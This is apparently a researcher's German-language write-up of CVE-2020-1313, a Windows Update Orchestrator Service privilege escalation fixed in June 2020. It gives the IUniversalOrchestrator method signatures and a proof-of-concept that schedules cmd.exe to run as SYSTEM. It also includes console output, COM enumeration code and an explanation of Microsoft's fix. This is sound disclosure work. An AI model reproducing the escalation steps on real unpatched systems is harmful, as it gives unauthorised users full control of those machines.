
Proof-of-Concept-Exploit der Windows Update Orchestrator Service Elevation of Privilege Vulnerability
Der Windows Update Orchestrator Service ist ein DCOM-Dienst, der von anderen Komponenten verwendet wird, um bereits heruntergeladene Windows-Updates zu installieren. USO war aufgrund einer unzureichenden Autorisierung der Aufrufer anfällig für eine Erhöhung von Berechtigungen (jeder Benutzer auf lokales System). Die Sicherheitslücke betraf die Produkte Windows 10 und Windows Server Core. Behoben von Microsoft am Patch Tuesday im Juni 2020.
Der UniversalOrchestrator-Dienst (9C695035-48D2-4229-8B73-4C70E756E519), implementiert in usosvc.dll, läuft als NT_AUTHORITY\SYSTEM und ist mit Zugriffsberechtigungen für BUILTIN\Users (unter anderem) konfiguriert.
Obwohl die Aufzählung der von diesem Dienst implementierten COM-Klassen blockiert ist (OLEView.NET: Fehler beim Abfragen von COM-Schnittstellen - ClassFactory kann die angeforderte Klasse nicht bereitstellen), kann die IUniversalOrchestrator-Schnittstelle (c53f3549-0dbf-429a-8297-c812ba00742d) – wie durch die Proxy-Definition bereitgestellt – über standardmäßige COM-API-Aufrufe bezogen werden. Die folgenden 3 Methoden werden exportiert:
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
Die ScheduleWork-Methode kann verwendet werden, um einen Befehl zu planen, der im Kontext des Dienstes ausgeführt wird, und dies kann ohne jegliche Autorisierung des Anforderers erfolgen. Obwohl die ausführbare Zieldatei selbst digital signiert sein muss und sich unter c:\windows\system32 oder in den allgemeinen Dateien unter Program Files befinden muss, können auch Befehlszeilenargumente angegeben werden. Dies ermöglicht es, c:\windows\system32\cmd.exe zu starten und auf diese Weise beliebigen Code unter NT_AUTHORITY\SYSTEM auszuführen, was dieses Problem zu einer lokalen Privilegienausweitung macht.
Die Arbeit wird "geplant", sie wird nicht sofort ausgeführt.
Der PoC, den ich erstellt habe, konfiguriert eine "Arbeit" mit cmdLine c:\windows\system32\cmd.exe und Parametern: /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"
Ausführung:
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
Ein Eintrag über die geplante Arbeit wird der Registrierung hinzugefügt:

Der angegebene Befehl wird über Nacht (gegen 23:20 Uhr) ausgeführt, wenn keine Benutzerinteraktion erwartet wird, oder nach Ablauf der SLA von 3 Tagen.
Als ich die Schnittstellendefinition des USO-Dienstes mit OleView.NET nicht erhalten konnte, erstellte ich ein Skript, um Hunderte von CLSID/IID-Kombinationen durchzugehen, von denen ich erwartete, dass sie auf irgendeiner Ebene funktionieren. Es sah ungefähr so aus:
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
Das Ergebnis des Ansatzes war:
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
Dann begann ich mit dem Reverse Engineering der Implementierung und fand den oben beschriebenen Ablauf.
Microsoft behob dieses Problem am Patch Tuesday Juni 2020 durch Hinzufügen des fehlenden CoImpersonateClient-API-Aufrufs.
Implementierung vor der Anwendung des Fix:

Implementierung nach der Anwendung des Fix:

Wie hilft das? Der Identitätswechsel (Impersonation) erfolgt zu Beginn der Verarbeitung der Anforderung, sodass die API-Aufrufe zum Aktualisieren der Registrierung im Sicherheitskontext des Aufrufers ausgeführt werden. Wenn der Aufrufer keine Berechtigung für HKEY_LOCAL_MACHINE hat, schlägt die uso-API-Methode entsprechend fehl.
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313